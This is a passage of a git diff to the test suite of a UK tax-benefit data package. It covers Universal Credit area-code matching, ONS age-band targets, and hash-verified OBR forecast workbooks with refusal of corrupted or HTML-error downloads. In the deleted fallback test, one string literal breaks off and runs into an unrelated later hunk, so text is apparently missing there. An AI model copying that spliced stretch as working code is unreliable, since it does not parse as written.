+ } + ) + matched = uc_data._match_uc_area_codes(names, areas, "area_name") + assert matched["code"].tolist() == ["W01", "E01", "W02"] + coded = names.assign(code=["E01", "W01", "W02"], area_name="Unrecognised label") + assert uc_data._match_uc_area_codes(coded, areas, "area_name")["code"].tolist() == [ + "E01", + "W01", + "W02", + ] + + +@pytest.mark.parametrize("codes", [["E01", "E01"], ["E01", "X01"]]) +def test_area_matching_rejects_duplicate_or_unknown_explicit_codes(codes): + areas = pd.DataFrame({"code": ["E01", "W01"], "name": ["Area A", "Area B"]}) + data = pd.DataFrame({"code": codes, "area_name": ["Area A", "Area B"]}) + with pytest.raises(ValueError): + uc_data._match_uc_area_codes(data, areas, "area_name") + + +@pytest.mark.parametrize("problem", ["ambiguous_alias", "duplicate_code"]) +def test_area_matching_rejects_ambiguous_reference_geography(problem): + areas = pd.DataFrame( + { + "code": ["E01", "W01"] if problem == "ambiguous_alias" else ["E01", "E01"], + "name": ["A & B", "A and B"], + } + ) + data = pd.DataFrame({"area_name": ["A and B"], "household_count": [1]}) + with pytest.raises(ValueError): + uc_data._match_uc_area_codes(data, areas, "area_name") + + +class _FakeSim: + """Four artificial households, one in each UK country; no dataset IO.""" + + def __init__(self, *args, **kwargs): + self.default_calculation_period = 2025 + + def calculate(self, variable, *args, **kwargs): + if variable == "country": + values = list(_COUNTRIES.values()) + elif variable == "tenure_type": + values = ["RENT_PRIVATELY"] * 4 + elif variable == "council_tax_band": + values = ["A"] * 4 + elif variable == "age": + values = [20, 30, 40, 50] + elif variable == "is_child": + values = [False] * 4 + else: + values = [1.0] * 4 + return SimpleNamespace(values=np.asarray(values)) + + def map_result(self, values, source_entity, target_entity): + return np.asarray(values) + + +def _patch_unrelated_sources(monkeypatch, dense_loss, area_type): + from policyengine_uk_data.targets.sources import local_income, local_la_extras + + for module in [local_income, dense_loss]: + monkeypatch.setattr( + module, + "INCOME_VARIABLES", + ["employment_income"] if area_type == "constituency" else [], + ) + if area_type == "la": + monkeypatch.setattr( + module, "get_national_income_projections", lambda year: pd.DataFrame() + ) + monkeypatch.setattr(dense_loss, "Microsimulation", _FakeSim) + if hasattr(dense_loss, "add_private_rent_targets"): + monkeypatch.setattr( + dense_loss, "add_private_rent_targets", lambda *args, **kwargs: None + ) + + codes = _area_metadata("la")["code"].to_numpy() + loaders = { + "load_ons_la_income": pd.DataFrame( + {"la_code": codes, "net_income_bhc": 1.0, "net_income_ahc": 1.0} + ), + "load_household_counts": pd.DataFrame({"la_code": codes, "households": 1.0}), + "load_tenure_data": pd.DataFrame( + { + "la_code": codes, + **{ + name + "_pct": 25.0 + for name in [ + "owned_outright", + "owned_mortgage", + "private_rent", + "social_rent", + ] + }, + } + ), + "load_private_rents": pd.DataFrame( + {"area_code": codes, "median_annual_rent": 1.0} + ), + } + for name, frame in loaders.items(): + for module in [local_la_extras, dense_loss]: + if hasattr(module, name): + monkeypatch.setattr(module, name, lambda frame=frame: frame.copy()) + for module in [local_la_extras, dense_loss]: + if hasattr(module, "get_ons_income_uprating_factors"): + monkeypatch.setattr( + module, "get_ons_income_uprating_factors", lambda year: (1.0, 1.0) + ) + + +@pytest.mark.parametrize("area_type", ["constituency", "la"]) +@pytest.mark.parametrize("builder", ["dense", "oa"]) +def test_each_builder_uc_row_matches_its_area_and_country( + monkeypatch, area_type, builder +): + from policyengine_uk_data.calibration import matrix_builder + from policyengine_uk_data.datasets.local_areas.constituencies import ( + loss as constituency_loss, + ) + from policyengine_uk_data.datasets.local_areas.local_authorities import ( + loss as la_loss, + ) + from policyengine_uk_data.targets.sources import local_age, local_income + + loss = constituency_loss if area_type == "constituency" else la_loss + _patch_unrelated_sources(monkeypatch, loss, area_type) + dataset = SimpleNamespace(time_period=2025) + areas = _area_metadata(area_type).copy() + if builder == "dense": + create = ( + loss.create_constituency_target_matrix + if area_type == "constituency" + else loss.create_local_authority_target_matrix + ) + matrix, y, mask = create(dataset) + expected_mask = np.equal.outer( + areas["code"].str[0].map(_COUNTRIES).to_numpy(), list(_COUNTRIES.values()) + ) + np.testing.assert_array_equal(mask, expected_mask) + assert list(matrix.columns) == list(y.columns) + else: + # Assignment rows can arrive in any code order, including interleaved countries. + areas = areas.sample(frac=1, random_state=468).reset_index(drop=True) + y = matrix_builder._load_area_targets(area_type, areas, dataset, _FakeSim()) + source_age = ( + local_age.get_constituency_age_targets() + if area_type == "constituency" + else local_age.get_la_age_targets() + ) + age_columns = [column for column in source_age if column.startswith("age/")] + adjustment = ( + 0.9 + * local_age.get_uk_total_population(dataset.time_period) + / source_age[age_columns].to_numpy().sum() + ) + expected_country_age = ( + source_age[age_columns].groupby(source_age["code"].str[0]).sum() * adjustment + ) + actual_country_age = y[age_columns].groupby(areas["code"].str[0].to_numpy()).sum() + pd.testing.assert_frame_equal( + actual_country_age.sort_index(), + expected_country_age.sort_index(), + check_names=False, + rtol=1e-12, + atol=1e-7, + ) + if area_type == "la": + np.testing.assert_allclose( + y[age_columns].to_numpy(), + source_age.set_index("code").loc[areas["code"], age_columns].to_numpy() + * adjustment, + ) + if area_type == "constituency": + source = source_age.set_index("code")[age_columns] * adjustment + incomes = local_income.get_constituency_income_targets().set_index("code") + national = local_income.get_national_income_projections(dataset.time_period) + national_amount = national.loc[ + national["total_income_lower_bound"].eq(12_570) + & national["total_income_upper_bound"].eq(np.inf), + "employment_income_amount", + ].iloc[0] + income_adjustment = national_amount / incomes["employment_income_amount"].sum() + for metric in ["amount", "count"]: + source[f"hmrc/employment_income/{metric}"] = ( + incomes[f"employment_income_{metric}"] * income_adjustment + ) + expected_mapped = _map_constituency_targets_by_name(source) + # Per-code checks catch the Scottish permutation even though its country + # totals and all UC targets are unchanged. Check all seats in both paths. + np.testing.assert_allclose( + y[source.columns].to_numpy(), + expected_mapped.loc[areas["code"], source.columns].to_numpy(), + rtol=1e-12, + atol=1e-7, + ) + _, expected = _workbook_oracle(area_type) + np.testing.assert_array_equal(y["uc_households"], expected.loc[areas["code"]]) + if area_type == "constituency": + children = local_uc.get_constituency_uc_by_children_targets().loc[areas["code"]] + np.testing.assert_array_equal(y[_CHILD_COLUMNS], children) diff --git a/policyengine_uk_data/tests/test_local_uc_etl.py b/policyengine_uk_data/tests/test_local_uc_etl.py new file mode 100644 index 000000000..8a00bc4de --- /dev/null +++ b/policyengine_uk_data/tests/test_local_uc_etl.py @@ -0,0 +1,45 @@ +"""Local UC database targets keep the public workbook's matched area codes.""" + +from unittest.mock import Mock + +import pandas as pd + +from policyengine_uk_data.db import etl +from policyengine_uk_data.storage import STORAGE_FOLDER +from policyengine_uk_data.targets.sources.local_uc import ( + get_constituency_uc_targets, + get_la_uc_targets, +) + + +def test_local_uc_etl_inserts_all_targets_with_matched_codes_and_names(monkeypatch): + session = Mock() + inserted = [] + + def insert_target(actual_session, **target): + assert actual_session is session + inserted.append(target) + + monkeypatch.setattr(etl, "_insert_target", insert_target) + + count = etl._load_local_uc_targets(session) + + assert count == len(inserted) == 1_010 + session.commit.assert_called_once_with() + for level, getter, area_file in [ + ("constituency", get_constituency_uc_targets, "constituencies_2024.csv"), + ("local_authority", get_la_uc_targets, "local_authorities_2021.csv"), + ]: + expected = getter() + areas = pd.read_csv(STORAGE_FOLDER / area_file).set_index( + "code", verify_integrity=True + ) + local = [row for row in inserted if row["geographic_level"] == level] + codes = [row["geo_code"] for row in local] + assert len(codes) == len(set(codes)) == len(expected) + assert set(codes) == set(expected.index) + for target in local: + code = target["geo_code"] + assert target["name"] == f"dwp/{level}/{code}/uc_households" + assert target["geo_name"] == areas.loc[code, "name"] + assert target["values"] == {2025: float(expected.loc[code])} diff --git a/policyengine_uk_data/tests/test_national_age_bands.py b/policyengine_uk_data/tests/test_national_age_bands.py index f636255a6..354929a6f 100644 --- a/policyengine_uk_data/tests/test_national_age_bands.py +++ b/policyengine_uk_data/tests/test_national_age_bands.py @@ -4,8 +4,8 @@ 15-29, ...). A band that wide pins only its own total: the calibration could satisfy 15-29 while distributing those people any way it liked inside the band, and it settled on one that starved 18-24 down to ~3.4M against ONS's -~5.4M. The finer regional bands do not help, because they constrain regional -weights rather than the national ones. +~5.4M. Regional ten-year age bands constrain the same household weights, +but provide less age detail than national five-year sex bands. These tests pin the five-year granularity and the no-overlap property, so a future edit cannot quietly widen the bands or reintroduce the superseded CSV @@ -13,13 +13,17 @@ """ import re +from pathlib import Path +import pandas as pd + +from policyengine_uk_data.targets.sources import ons_demographics from policyengine_uk_data.targets.sources.ons_demographics import ( _GENDER_BANDS, get_targets, ) -_GENDER_AGE = re.compile(r"^ons/(female|male)_(\d+)_(\d+)$") +_GENDER_AGE = re.compile(r"^ons/(female|male)_(\d+)_(\d+|plus)$") def _gender_age_targets(): @@ -27,9 +31,11 @@ def _gender_age_targets(): def test_bands_are_at_most_five_years_wide(): - """A wider band leaves its internal age composition unconstrained.""" - for low, high in _GENDER_BANDS: - assert high - low <= 5, f"band {low}-{high} is too wide to pin composition" + """Only the terminal top-coded band may be wider than five years.""" + assert _GENDER_BANDS[-1] == (80, None) + for low, high in _GENDER_BANDS[:-1]: + assert high is not None, "only the terminal band may be open-ended" + assert 0 <= high - low < 5, f"band {low}-{high} is too wide to pin composition" def test_bands_are_contiguous_and_non_overlapping(): @@ -41,7 +47,7 @@ def test_bands_are_contiguous_and_non_overlapping(): def test_young_adult_ages_are_covered_by_narrow_bands(): """18-24 must not sit inside one wide band, which is the failure mode.""" - covering = [b for b in _GENDER_BANDS if b[0] <= 24 and b[1] >= 18] + covering = [b for b in _GENDER_BANDS if b[0] <= 24 and (b[1] is None or b[1] >= 18)] assert len(covering) >= 2, ( "18-24 is covered by a single band; its composition would be free" ) @@ -54,9 +60,13 @@ def test_national_gender_age_targets_are_emitted_once_per_band(): assert len({t.name for t in targets}) == len(targets) -def test_national_gender_age_targets_sum_to_uk_population(): - """Double-counted bands would show up here as a doubled total.""" +def test_national_gender_age_targets_sum_to_uk_population(monkeypatch): + """Every fixture age must be counted exactly once across both sexes.""" + projection = pd.read_csv( + Path(__file__).parent / "fixtures" / "ons_uk_population_2025.csv" + ) + monkeypatch.setattr(ons_demographics, "_download_uk_projection", lambda: projection) targets = _gender_age_targets() year = 2025 - total = sum(t.values.get(year, 0) for t in targets) - assert 65e6 < total < 73e6, f"national gender-age total {total / 1e6:.1f}M" + total = sum(t.values[year] for t in targets) + assert total == projection[str(year)].sum() diff --git a/policyengine_uk_data/tests/test_obr_efo_fallback.py b/policyengine_uk_data/tests/test_obr_efo_fallback.py deleted file mode 100644 index 5884642cc..000000000 --- a/policyengine_uk_data/tests/test_obr_efo_fallback.py +++ /dev/null @@ -1,250 +0,0 @@ -"""Tests for the committed EFO workbook fallback. - -obr.uk serves 403 Forbidden to GitHub Actions runner IPs, and losing the -workbooks silently drops 28 OBR targets and calibrates a degraded dataset -(observed on the 2026-07-21 push builds). obr.uk can also answer 200 with -an HTML "No Access" page, which once escaped the fallback as a BadZipFile -and dropped the nine receipts and NICs targets (observed 2026-10-04). These -tests pin: the fallback workbooks are committed and parseable, every kind of -failed download uses them instead of raising, and permanent failures do not -burn the retry budget. -""" - -import io -import logging -import zipfile -from contextlib import contextmanager -from types import SimpleNamespace -from unittest.mock import patch - -import pytest -import requests - -from policyengine_uk_data.storage import STORAGE_FOLDER -from policyengine_uk_data.targets.sources import obr -from policyengine_uk_data.targets.sources._common import load_config - - -@pytest.fixture(autouse=True) -def _clear_workbook_cache(): - obr._download_workbook.cache_clear() - yield - obr._download_workbook.cache_clear() - - -def _response(status_code, content=b"", content_type=None): - headers = {"Content-Type": content_type} if content_type else {} - return SimpleNamespace(status_code=status_code, headers=headers, content=content) - - -def _zip(members: dict[str, str]) -> bytes: - buffer = io.BytesIO() - with zipfile.ZipFile(buffer, "w") as archive: - for name, data in members.items(): - archive.writestr(name, data) - return buffer.getvalue() - - -def _connection_error(): - raise requests.ConnectionError("no route to obr.uk") - - -_NO_ACCESS_PAGE = ( - b"" - b"No Access - Office for Budget Responsibility" - b"

No Access

" -) - -# Every way the download can fail, with the number of requests it should -# cost: transient failures use the full retry budget, permanent ones one. -_FAILED_DOWNLOADS = { - "200-html-page": ( - lambda: _response(200, _NO_ACCESS_PAGE, "text/html; charset=UTF-8"), - 1, - ), - "200-empty-body": (lambda: _response(200), 1), - "200-truncated-zip": (lambda: _response(200, b"PK\x03\x04garbage"), 1), - "200-zip-without-xlsx-manifest": ( - lambda: _response(200, _zip({"readme.txt": "not a workbook"})), - 1, - ), - "200-zip-without-workbook-part": ( - lambda: _response( - 200, - _zip( - { - "[Content_Types].xml": '' - } - ), - ), - 1, - ), - "200-zip-with-malformed-xml": ( - lambda: _response(200, _zip({"[Content_Types].xml": " None: - """Write rows of (label, fy_values) into column B / C-I of ``ws``.""" + """Write rows of (label, fy_values) into column B / C-I of ``ws``, under + a unit label and 2024-25 to 2030-31 year headers in row 1.""" + ws["A1"] = "£ billion" + for col_idx, year in enumerate(range(2024, 2031), start=3): + ws.cell(row=1, column=col_idx, value=f"{year}-{(year + 1) % 100:02d}") for row_idx, (label, values) in enumerate(rows, start=2): ws.cell(row=row_idx, column=2, value=label) for col_idx, value in enumerate(values, start=3): @@ -93,8 +87,7 @@ def test_parse_nics_combined_self_employed_line(): target alongside Class 1 employee/employer.""" from policyengine_uk_data.targets.sources import obr as obr_module - with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG): - targets = obr_module._parse_nics(_build_combined_efo_workbook()) + targets = obr_module._parse_nics(_build_combined_efo_workbook()) names = {t.name for t in targets} assert names == { @@ -114,8 +107,7 @@ def test_parse_nics_falls_back_to_separate_classes_for_old_efo(): the legacy candidates pick them up individually.""" from policyengine_uk_data.targets.sources import obr as obr_module - with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG): - targets = obr_module._parse_nics(_build_separate_efo_workbook()) + targets = obr_module._parse_nics(_build_separate_efo_workbook()) names = {t.name for t in targets} assert names == { @@ -134,8 +126,7 @@ def test_parse_nics_intentionally_skips_class_3_in_combined_efo(): "Other NIC" and the parser must not emit it (#378).""" from policyengine_uk_data.targets.sources import obr as obr_module - with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG): - targets = obr_module._parse_nics(_build_combined_efo_workbook()) + targets = obr_module._parse_nics(_build_combined_efo_workbook()) assert "obr/ni_class_3" not in {t.name for t in targets} assert "ni_class_3" not in {t.variable for t in targets} @@ -146,8 +137,7 @@ def test_parse_nics_intentionally_skips_class_3_in_separate_efo(): a target for it — the underlying PE-UK variable has no signal (#378).""" from policyengine_uk_data.targets.sources import obr as obr_module - with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG): - targets = obr_module._parse_nics(_build_separate_efo_workbook()) + targets = obr_module._parse_nics(_build_separate_efo_workbook()) assert "obr/ni_class_3" not in {t.name for t in targets} assert "ni_class_3" not in {t.variable for t in targets} @@ -171,8 +161,7 @@ def test_parse_nics_tolerates_alt_label_wording(): ], ) - with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG): - targets = obr_module._parse_nics(wb) + targets = obr_module._parse_nics(wb) assert {t.variable for t in targets} == { "ni_employee", diff --git a/policyengine_uk_data/tests/test_obr_receipts_sheet.py b/policyengine_uk_data/tests/test_obr_receipts_sheet.py index d8b2928db..3271d5f42 100644 --- a/policyengine_uk_data/tests/test_obr_receipts_sheet.py +++ b/policyengine_uk_data/tests/test_obr_receipts_sheet.py @@ -91,6 +91,9 @@ def _receipts_wb(*, populate: bool) -> openpyxl.Workbook: wb.create_sheet("3.4")["B2"] = "3.4 Income tax (accrued basis)" ws = wb.create_sheet("3.8") ws["B2"] = "3.8 Current receipts (on a cash basis)" + ws["D3"] = "£ billion" + for col, year in zip("DEFGHIJ", range(2024, 2031)): + ws[f"{col}5"] = f"{year}-{(year + 1) % 100:02d}" labels = [ "National insurance contributions", "Value added tax", @@ -107,27 +110,21 @@ def _receipts_wb(*, populate: bool) -> openpyxl.Workbook: return wb -def test_raises_when_rows_are_found_but_yield_no_values(monkeypatch): +def test_raises_when_rows_are_found_but_yield_no_values(): """A column shift finds every label and still produces nothing. The guard must key on targets produced, not on exceptions caught, or this reproduces the silent drop by a different route. """ - monkeypatch.setattr( - "policyengine_uk_data.targets.sources.obr.load_config", - lambda: {"obr": {"vintage": "test", "efo_receipts": "https://example.invalid"}}, - ) with pytest.raises(ValueError, match="produced values"): _parse_receipts(_receipts_wb(populate=False)) -def test_parses_rows_when_values_are_present(monkeypatch): - """The same sheet with values yields one target per cash-basis row.""" - monkeypatch.setattr( - "policyengine_uk_data.targets.sources.obr.load_config", - lambda: {"obr": {"vintage": "test", "efo_receipts": "https://example.invalid"}}, - ) +def test_parses_rows_when_values_are_present(): + """The same sheet with values yields one target per cash-basis row, except + total NICs, which the NICs parser targets by class instead.""" targets = _parse_receipts(_receipts_wb(populate=True)) names = {target.name for target in targets} assert "obr/capital_gains_tax" in names - assert len(names) == 5 + assert "obr/ni" not in names + assert len(names) == 4 diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py new file mode 100644 index 000000000..7a5f495fb --- /dev/null +++ b/policyengine_uk_data/tests/test_obr_sources.py @@ -0,0 +1,919 @@ +"""Hash-bound OBR workbooks, header-read years and required target coverage. + +The OBR targets come only from the workbook bytes the active manifest names. +These tests pin that: +- other bytes, or a workbook with another title, are refused; +- year columns follow the header row, not the column letter; +- a missing target or year fails; +- ingesting a vintage reproduces the build's own targets; +- a dry run reports exactly what the real ingest would refuse. +""" + +import io +import shutil +from dataclasses import replace +from datetime import datetime, timedelta, timezone + +import openpyxl +import pytest +import yaml +from hypothesis import HealthCheck, given, settings +from hypothesis import strategies as st + +from policyengine_uk_data.storage import STORAGE_FOLDER +from policyengine_uk_data.targets import obr_sources +from policyengine_uk_data.targets.obr_sources import ( + SourceError, + active_manifest, + check_coverage, + check_names, + coverage_problems, + ingest, + load_workbook, + parse_manifest, + read_row, + verified_bytes, + year_columns, +) +from policyengine_uk_data.targets.sources import obr + +MANIFEST = active_manifest() + + +def _workbook_targets(receipts, expenditure, manifest=MANIFEST): + return [ + *obr._parse_receipts(receipts, manifest), + *obr._parse_nics(receipts, manifest), + *obr._parse_council_tax(expenditure, manifest), + *obr._parse_welfare(expenditure, manifest), + *obr._parse_tv_licence(expenditure, manifest), + ] + + +def _copy_storage(tmp_path): + for entry in MANIFEST.files.values(): + target = tmp_path / entry.path + target.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(STORAGE_FOLDER / entry.path, target) + return tmp_path + + +def test_the_build_reads_the_manifest_files_and_names_their_vintage(): + assert MANIFEST.vintage == "march_2026" + for kind, entry in MANIFEST.files.items(): + assert verified_bytes(entry) + assert obr_sources.workbook_title(load_workbook(kind)) == entry.title + targets = obr.get_targets() + built = [t for t in targets if t.forecast_vintage == MANIFEST.vintage] + # #537 removes total NICs; the modelled class targets remain. + assert len(built) == 24 + assert {t.reference_url for t in built} == {f.url for f in MANIFEST.files.values()} + check_coverage(built, MANIFEST) + + +@settings( + max_examples=25, + deadline=None, + suppress_health_check=[HealthCheck.function_scoped_fixture], +) +@given(data=st.data()) +def test_any_change_to_the_bytes_is_refused(tmp_path, data): + storage = _copy_storage(tmp_path) + entry = MANIFEST.files[data.draw(st.sampled_from(["receipts", "expenditure"]))] + path = storage / entry.path + original = (STORAGE_FOLDER / entry.path).read_bytes() + kind = data.draw(st.sampled_from(["flip", "truncate", "append"])) + if kind == "flip": + i = data.draw(st.integers(0, len(original) - 1)) + changed = original[:i] + bytes([original[i] ^ 0x01]) + original[i + 1 :] + elif kind == "truncate": + changed = original[: data.draw(st.integers(0, len(original) - 1))] + else: + changed = original + data.draw(st.binary(min_size=1, max_size=16)) + path.write_bytes(changed) + with pytest.raises(SourceError, match="not the file its manifest names"): + verified_bytes(entry, storage) + + +def test_a_missing_workbook_fails_the_targets(tmp_path): + with pytest.raises(SourceError, match="missing"): + obr.workbook_targets(MANIFEST, tmp_path) + + +def test_a_workbook_titled_for_another_vintage_is_refused(tmp_path): + """Bytes that match a manifest but carry another vintage's title fail.""" + entry = MANIFEST.files["receipts"] + wb = openpyxl.load_workbook(STORAGE_FOLDER / entry.path) + wb["Contents"]["B2"] = entry.title.replace("March 2026", "November 2025") + buffer = io.BytesIO() + wb.save(buffer) + data = buffer.getvalue() + (tmp_path / "x.xlsx").write_bytes(data) + relabelled = obr_sources.SourceFile( + kind="receipts", + path="x.xlsx", + sha256=obr_sources.sha256_bytes(data), + size_bytes=len(data), + title=entry.title, + url=entry.url, + retrieved="test", + ) + manifest = obr_sources.ObrManifest( + **{**MANIFEST.__dict__, "files": {**MANIFEST.files, "receipts": relabelled}} + ) + with pytest.raises(SourceError, match="November 2025"): + load_workbook("receipts", manifest, tmp_path) + + +# The March 2026 tables' year columns as the loader hard-coded them before it +# read the headers: an independent reader for a differential check. +_FIXED = { + "3.4": dict(zip("CDEFGHI", range(2024, 2031))), + "3.8": dict(zip("DEFGHIJ", range(2024, 2031))), + "4.1": dict(zip("CDEFGHI", range(2024, 2031))), + "4.9": dict(zip("CDEFGHI", range(2024, 2031))), + "4.19": dict(zip("CDEFGHI", range(2024, 2031))), +} +_ROWS = { + "obr/income_tax": ("receipts", "3.4", "Income tax (gross of tax credits)"), + "obr/ni_employer": ("receipts", "3.4", "Class 1 Employer NICs"), + "obr/vat": ("receipts", "3.8", "Value added tax"), + "obr/sdlt": ("receipts", "3.8", "Stamp duty land tax"), + "obr/council_tax_wales": ("expenditure", "4.1", "Wales council tax receipts"), + "obr/child_benefit": ("expenditure", "4.9", "Child benefit"), + "obr/state_pension": ("expenditure", "4.9", "State pension"), +} + + +def test_header_read_years_match_the_fixed_columns_on_march_2026(): + books = {kind: load_workbook(kind) for kind in ("receipts", "expenditure")} + targets = { + t.name: t for t in _workbook_targets(books["receipts"], books["expenditure"]) + } + for sheet, fixed in _FIXED.items(): + ws = books["receipts" if sheet.startswith("3") else "expenditure"][sheet] + assert year_columns(ws, 2024, 2030) == fixed, sheet + for name, (kind, sheet, label) in _ROWS.items(): + ws = books[kind][sheet] + row = obr._find_row(ws, label, max_row=80) + expected = { + year: ws[f"{c}{row}"].value * 1e9 for c, year in _FIXED[sheet].items() + } + assert targets[name].values == pytest.approx(expected), name + + +def _sheet(header_row, first_column, years, values_by_year, unit="£ billion"): + wb = openpyxl.Workbook() + ws = wb.active + ws["A1"] = unit + for offset, year in enumerate(years): + column = first_column + offset + ws.cell(row=header_row, column=column, value=f"{year}-{(year + 1) % 100:02d}") + ws.cell(row=12, column=column, value=values_by_year[year]) + return ws + + +@settings(max_examples=200, deadline=None) +@given( + header_row=st.integers(2, 10), + first_column=st.integers(2, 6), + first_year=st.integers(2020, 2030), + length=st.integers(3, 8), + data=st.data(), +) +def test_values_follow_their_header_whatever_the_column_order( + header_row, first_column, first_year, length, data +): + years = list(range(first_year, first_year + length)) + order = data.draw(st.permutations(years)) + values = {year: float(year - 2000) for year in years} + ws = _sheet(header_row, first_column, order, values) + manifest = obr_sources.ObrManifest( + **{**MANIFEST.__dict__, "first_year": years[0], "last_year": years[-1]} + ) + assert read_row(ws, 12, manifest) == {y: v * 1e9 for y, v in values.items()} + # Declaring the vintage a year later or earlier than the table fails. + for shift in (-1, 1): + with pytest.raises(SourceError, match="the manifest declares"): + year_columns(ws, years[0] + shift, years[-1] + shift) + + +def test_a_table_without_headers_or_unit_fails(): + ws = openpyxl.Workbook().active + ws["C12"] = 1.0 + with pytest.raises(SourceError, match="financial-year headers"): + year_columns(ws, 2024, 2030) + ws = _sheet( + 5, 3, range(2024, 2031), {y: 1.0 for y in range(2024, 2031)}, unit="£ million" + ) + with pytest.raises(SourceError, match="unit label"): + read_row(ws, 12, MANIFEST) + + +def test_a_repeated_or_malformed_year_header_fails(): + ws = _sheet(5, 3, [2024, 2025, 2025], {2024: 1.0, 2025: 1.0}) + with pytest.raises(SourceError, match="heads two columns"): + year_columns(ws, 2024, 2025) + ws = openpyxl.Workbook().active + ws["C5"] = "2024-26" + with pytest.raises(SourceError, match="not one financial year"): + year_columns(ws, 2024, 2024) + + +@pytest.fixture(scope="module") +def march_targets(): + return obr.workbook_targets() + + +@settings( + max_examples=60, + deadline=None, + suppress_health_check=[HealthCheck.function_scoped_fixture], +) +@given(data=st.data()) +def test_losing_any_year_of_any_target_fails_coverage(march_targets, data): + targets = [t for t in march_targets if t.forecast_vintage == MANIFEST.vintage] + victim = data.draw(st.sampled_from(targets)) + year = data.draw(st.sampled_from(sorted(victim.values))) + damaged = [ + t.model_copy( + update={"values": {y: v for y, v in t.values.items() if y != year}} + ) + if t is victim + else t + for t in targets + ] + problems = coverage_problems(damaged, MANIFEST) + assert problems == [f"{victim.name} has no value for {year}"] + + +@settings( + max_examples=40, + deadline=None, + suppress_health_check=[HealthCheck.function_scoped_fixture], +) +@given(data=st.data()) +def test_losing_any_required_target_fails_coverage(march_targets, data): + name = data.draw(st.sampled_from(MANIFEST.required)) + problems = coverage_problems([t for t in march_targets if t.name != name], MANIFEST) + assert problems == [f"{name} was not built"] + + +def test_a_layout_change_in_the_workbook_fails_the_build(): + """A renamed row, a formula in a value cell, or a lost self-employed line.""" + receipts, expenditure = load_workbook("receipts"), load_workbook("expenditure") + ws = receipts[obr._find_receipts_sheet(receipts).title] + ws[f"B{obr._find_row(ws, 'Value added tax', max_row=80)}"] = "VAT (renamed)" + ws49 = expenditure["4.9"] + ws49[f"F{obr._find_row(ws49, 'Child benefit', max_row=55)}"] = "=1+1" + ws34 = receipts["3.4"] + ws34[ + f"B{obr._find_row(ws34, 'Class 4 and Class 2 Self employed NICs', max_row=40)}" + ] = "x" + problems = coverage_problems(_workbook_targets(receipts, expenditure), MANIFEST) + assert "obr/vat was not built" in problems + assert "obr/child_benefit has no value for 2027" in problems + assert ( + "none of obr/ni_self_employed or obr/ni_class_2+obr/ni_class_4 was built" + in problems + ) + + +def test_a_target_missing_from_the_manifest_fails(march_targets): + manifest = obr_sources.ObrManifest( + **{ + **MANIFEST.__dict__, + "required": tuple( + n for n in MANIFEST.required if n != "obr/tv_licence_fee" + ), + } + ) + assert coverage_problems(march_targets, manifest) == [ + "obr/tv_licence_fee was built but is not in the manifest" + ] + + +def _sources(tmp_path): + src = tmp_path / "downloads" + src.mkdir(exist_ok=True) + out = {} + for kind, entry in MANIFEST.files.items(): + out[kind] = src / f"{kind}.xlsx" + shutil.copyfile(STORAGE_FOLDER / entry.path, out[kind]) + return out + + +def _ingest(tmp_path, **overrides): + (tmp_path / "manifests").mkdir(parents=True, exist_ok=True) + arguments = dict( + vintage="march_2026", + label="March 2026", + sources=overrides.pop("sources", None) or _sources(tmp_path), + urls={k: f.url for k, f in MANIFEST.files.items()}, + first_year=2024, + last_year=2030, + current=MANIFEST, + storage=tmp_path / "storage", + manifest_dir=tmp_path / "manifests", + retrieved="test", + ) + arguments.update(overrides) + return ingest(**arguments) + + +def test_ingesting_the_same_workbooks_reproduces_the_targets(tmp_path, march_targets): + manifest, path, diff, refusals = _ingest(tmp_path) + assert path.name == "obr_march_2026.yaml" + assert refusals == [] + assert manifest.vintage == "march_2026" + assert {k: f.sha256 for k, f in manifest.files.items()} == { + k: f.sha256 for k, f in MANIFEST.files.items() + } + assert manifest.files["receipts"].path == "obr_efo/march_2026/receipts.xlsx" + assert diff and all(row["old"] == row["new"] for row in diff) + again = obr.workbook_targets(manifest, tmp_path / "storage") + assert {t.name: t.values for t in again} == { + t.name: t.values for t in march_targets + } + assert {t.forecast_vintage for t in again} == {"march_2026"} + + +def test_ingest_refuses_a_workbook_that_does_not_name_the_vintage(tmp_path): + """Sol review of #592, P1: March bytes cannot be adopted as October.""" + with pytest.raises(SourceError, match="not the October 2026 EFO receipts"): + _ingest(tmp_path, vintage="october_2026", label="October 2026") + with pytest.raises(SourceError, match="does not name vintage"): + _ingest(tmp_path, vintage="october_2026", label="March 2026") + + +def test_ingest_refuses_years_the_tables_do_not_head_and_keeps_nothing(tmp_path): + with pytest.raises(SourceError, match="the manifest declares 2025 to 2031"): + _ingest(tmp_path, first_year=2025, last_year=2031) + assert not (tmp_path / "storage" / "obr_efo" / "march_2026").exists() + assert not list((tmp_path / "manifests").iterdir()) + + +def test_ingest_refuses_the_page_obr_serves_to_scripts(tmp_path): + sources = _sources(tmp_path) + sources["receipts"].write_bytes( + b"No Access" + ) + with pytest.raises(SourceError, match="download the workbook in a browser"): + _ingest(tmp_path, sources=sources) + + +def test_verify_command_passes_on_the_active_manifest(capsys): + assert obr_sources.main(["verify"]) == 0 + assert "both workbooks verified, 24 targets" in capsys.readouterr().out + + +@pytest.mark.parametrize( + "change, match", + [ + ({"schema_version": 2}, "schema_version"), + ({"unit": "£ million"}, "unit"), + ({"first_year": 2031}, "first_year"), + ({"targets": {"required": ["obr/vat", "obr/vat"]}}, "twice"), + ({"targets": {"required": []}}, "no required"), + ], +) +def test_malformed_manifests_are_refused(change, match): + import yaml + + raw = yaml.safe_load(MANIFEST.path.read_text()) + raw.update(change) + with pytest.raises(SourceError, match=match): + parse_manifest(raw) + + +def test_a_bad_hash_in_the_manifest_is_refused(): + import yaml + + raw = yaml.safe_load(MANIFEST.path.read_text()) + raw["files"]["receipts"]["sha256"] = "abc" + with pytest.raises(SourceError, match="64 hex"): + parse_manifest(raw) + + +def test_a_manifest_cannot_relabel_verified_bytes(): + """Sol review of #592, P1: the vintage, label and titles must agree.""" + import yaml + + raw = yaml.safe_load(MANIFEST.path.read_text()) + raw.update(vintage="october_2026", label="October 2026") + with pytest.raises(SourceError, match="not the October 2026 EFO"): + parse_manifest(raw) + raw = yaml.safe_load(MANIFEST.path.read_text()) + raw.update(label="October 2026") + with pytest.raises(SourceError, match="does not name vintage"): + parse_manifest(raw) + + +def 